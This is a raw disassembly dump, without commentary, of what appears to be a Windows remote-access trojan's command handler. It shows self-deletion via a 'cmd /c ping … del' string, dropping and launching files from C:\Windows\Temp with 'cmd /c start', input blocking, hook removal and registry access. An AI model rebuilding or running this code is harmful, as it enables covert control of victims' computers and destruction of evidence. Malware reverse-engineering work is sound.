mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10009924
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10009934
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10009944
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10009954
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10009964
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10009974
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x10009987
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x100099ad
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x70], 0
push 0
push dword [ebp - 0x70]
push dword [ebp - 0x6c]
call fcn.10010fdb
jmp 0x10009daa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x100099d9
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x10009a0e
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x10009a34
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d59d5
push dword [ebp - 0x78]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x10009a65
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x7c], 0
je 0x10009c46
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10009a85
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, 0x100d520e
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x54]
push eax
mov eax, 0x100d59de
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
lea eax, [ebp - 0x30]
push eax
call fcn.10010982
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10009b5b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10009b6b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10009b7b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10009b8b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10009b9b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10009bab
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10009bbb
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10009bcb
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10009bdb
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10009beb
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10009bfb
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x10009c0e
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10009c34
push ebx
call fcn.100b8c45
add esp, 4
push 0
push dword [ebp - 0x6c]
call fcn.10010f49
jmp 0x10009daa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10009c59
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x70], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x70]
test eax, eax
jne 0x10009c8e
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x74], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x10009cb4
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d59e8
push dword [ebp - 0x74]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x10009ce2
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x10009daa
call fcn.10011269
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push str.110040
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10009d1c
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10009d2f
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10009d55
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0x38]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10009d9a
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10009daa
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0f9
push str.110033
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10009eef
call fcn.10011aad
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x10009de3
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x174
call fcn.100ba730
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10009e09
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10009e1d
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x100d520e
push dword [ebp - 0x18]
call fcn.100027e4
add esp, 8
cmp eax, 0
je 0x10009eea
push dword [ebp - 0x18]
push str.110033
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x10009e65
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10009e8b
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
lea eax, [ebp - 0x34]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10009ed0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10009ee0
push ebx
call fcn.100b8c45
add esp, 4
push 0
call fcn.100b8c69
add esp, 4
jmp 0x1000d0f9
push str.110011
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10009fbc
push 0x80000301
push 0
push 0x20
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6969]
test eax, eax
jne 0x10009f29
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x260
call fcn.100bb7c0
add esp, 0x1c
push dword [0x100e6969]
push str.cmd__c_ping_127.0.0.1__n_1__del
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_bind
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x10009f82
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x2c0
call fcn.100b9ca0
add esp, 0x28
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10009fa5
push ebx
call fcn.100b8c45
add esp, 4
call fcn.100022f7
mov dword [ebp - 0x30], eax
push 1
push dword [ebp - 0x30]
call fcn.10004694
jmp 0x1000d0f9
push str.110024
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10009fe3
lea eax, [ebp - 0xc]
push eax
call fcn.10015552
jmp 0x1000d0f9
push str.900009
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a21c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000a00f
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000a04a
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a070
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1000a092
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1000a08e
imul eax, dword [ebx]
jmp 0x1000a083
mov ecx, eax
test ecx, ecx
je 0x1000a0b1
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1000a0aa
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1000a098
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 2
cmp eax, ecx
jl 0x1000a0e5
push 0x13d3
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x1000a102
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [0x100e696d], eax
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000a142
push 0x13f4
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
je 0x1000a168
push eax
mov ebx, eax
call fcn.1000101d
inc eax
push eax
call fcn.100b8c3f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x100e6971]
test ebx, ebx
je 0x1000a17c
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6971], eax
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1000a1aa
push 0x141b
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
je 0x1000a1d0
push eax
mov ebx, eax
call fcn.1000101d
inc eax
push eax
call fcn.100b8c3f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x100e6975]
test ebx, ebx
je 0x1000a1e4
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6975], eax
mov ebx, 6
call fcn.100039cf
push reloc.WS2_32.dll_getsockname
push 0
push 0x1001cae4
push 3
mov ebx, 0
mov eax, 0x100c3a50
call fcn.100b9790
add esp, 0x28
jmp 0x1000d0f9
push str.110034
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a30f
push 0
mov ebx, 0x2c4
call fcn.100bb680
add esp, 4
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push str.110034
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a272
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000a285
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000a2ab
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0x38]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000a2f0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x1000a300
push ebx
call fcn.100b8c45
add esp, 4
push 0
call fcn.100b8c69
add esp, 4
jmp 0x1000d0f9
push str.110035
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a40f
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000a33b
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000a364
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x2c8
call fcn.100bb6d0
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a38a
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x1000a40a
push reloc.WS2_32.dll_connect
push 0
push str.110035
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a3fa
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000a40a
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0f9
push str.110041
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a49e
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000a43b
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_bind
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000a476
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x2c0
call fcn.100b9ca0
add esp, 0x28
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a499
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0f9
push str.110076
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a5b0
push reloc.WS2_32.dll_connect
push 0
push str.110077
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
push dword [ebp - 0xc]
push dword [ebp - 0x30]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a4fe
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
lea eax, [ebp - 0x34]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000a543
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000a553
push ebx
call fcn.100b8c45
add esp, 4
push 0x80000301
push 0
push 0xc8
push 1
mov ebx, 0x1c
mov eax, 0x100c34e0
call fcn.100b9790
add esp, 0x10
call fcn.100022f7
mov dword [ebp - 0x30], eax
push 1
push dword [ebp - 0x30]
call fcn.10004694
push 0x80000301
push 0
push 0xc8
push 1
mov ebx, 0x1c
mov eax, 0x100c34e0
call fcn.100b9790
add esp, 0x10
jmp 0x1000d0f9
push str.110031
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a6f7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000a5dc
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x100d5a52
push dword [ebp - 0x30]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a620
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x1000a639
mov dword [0x100e693d], 1
jmp 0x1000a6f2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000a64c
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x100d5a57
push dword [ebp - 0x30]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a690
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x1000a6f2
push 0x80000301
push 0
push dword [0x100e6949]
push 1
mov ebx, 0x278
call fcn.100bb7e0
add esp, 0x10
mov dword [ebp - 0x30], esp
push dword [0x100e694d]
xor eax, eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x1000a6e8
push 0x17fe
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [0x100e6945], 0
jmp 0x1000d0f9
push str.110032
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a71a
call fcn.10016f2a
jmp 0x1000d0f9
push str.110081
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a742
mov dword [0x100e6979], 1
jmp 0x1000d0f9
push str.110082
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a76a
mov dword [0x100e6979], 0
jmp 0x1000d0f9
push str.110053
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a7ce
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000a796
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [0x100e697d]
test ebx, ebx
je 0x1000a7c3
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e697d], eax
jmp 0x1000d0f9
push str.110052
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000a9b1
push dword [0x100e697d]
push str.C:WindowsTemp_
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000a815
mov eax, 0x100d5289
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000a829
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x26c
call fcn.100babf0
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a84f
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x1000a9a2
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x100c3170
call fcn.100b9790
add esp, 0x10
mov dword [ebp - 0x30], eax
push dword [0x100e697d]
push dword [ebp - 0x30]
push str.cmd__c_start
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a8ad
push ebx
call fcn.100b8c45
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_bind
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000a8d8
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x2c0
call fcn.100b9ca0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000a8fe
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
jne 0x1000a9a2
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x100c3170
call fcn.100b9790
add esp, 0x10
mov dword [ebp - 0x30], eax
push dword [0x100e697d]
push dword [ebp - 0x30]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000a957
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, 9
call fcn.100039cf
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000a974
mov eax, 0x100d520e
push eax
push 0
push 0
push 0
push 5
mov ebx, 0x18
mov eax, 0x100c3070
call fcn.100b9790
add esp, 0x40
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000a9a2
push ebx
call fcn.100b8c45
add esp, 4
push 0
call fcn.100b8c69
add esp, 4
jmp 0x1000d0f9
push str.110036
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000aa06
mov dword [0x100e6961], 1
mov ebx, 6
call fcn.100039cf
push reloc.WS2_32.dll_getsockname
push 0
push 0x1001cb57
push 3
mov ebx, 0
mov eax, 0x100c3a50
call fcn.100b9790
add esp, 0x28
jmp 0x1000d0f9
push str.110085
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000aa5c
mov dword [0x100e6961], 0
mov dword [ebp - 0x30], esp
push 0
xor eax, eax
call dword [sym.imp.USER32.dll_BlockInput]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x1000aa57
push 0x1c0a
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
jmp 0x1000d0f9
push str.777777
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000ac35
call fcn.1001716b
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jle 0x1000abfd
push 0x80000301
push 0
push 0x100
push 1
mov ebx, 0x184
call fcn.100bab30
add esp, 0x10
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1000aabc
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], esp
push dword [ebp - 0x20]
push 0
push dword [ebp - 0x1c]
push 0
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x1000aafe
push 0x1d11
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x1000abfd
push 0x100d53a0
push dword [ebp - 0x20]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.10017471
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000ab3f
push ebx
call fcn.100b8c45
add esp, 4
push dword [ebp - 0x34]
push 0x100d5ab3
push dword [ebp - 0x20]
push str.777777
mov ecx, 4
call fcn.10001088
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000ab6f
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x1000ab82
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000aba8
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x3c]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000abed
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1000abfd
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x30], esp
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x1000ac26
push 0x1e26
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
push 0
call fcn.100b8c69
add esp, 4
jmp 0x1000d0f9
push str.110105
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000ae11
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000ac61
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.HKEY_CURRENT_USER
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000aca8
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
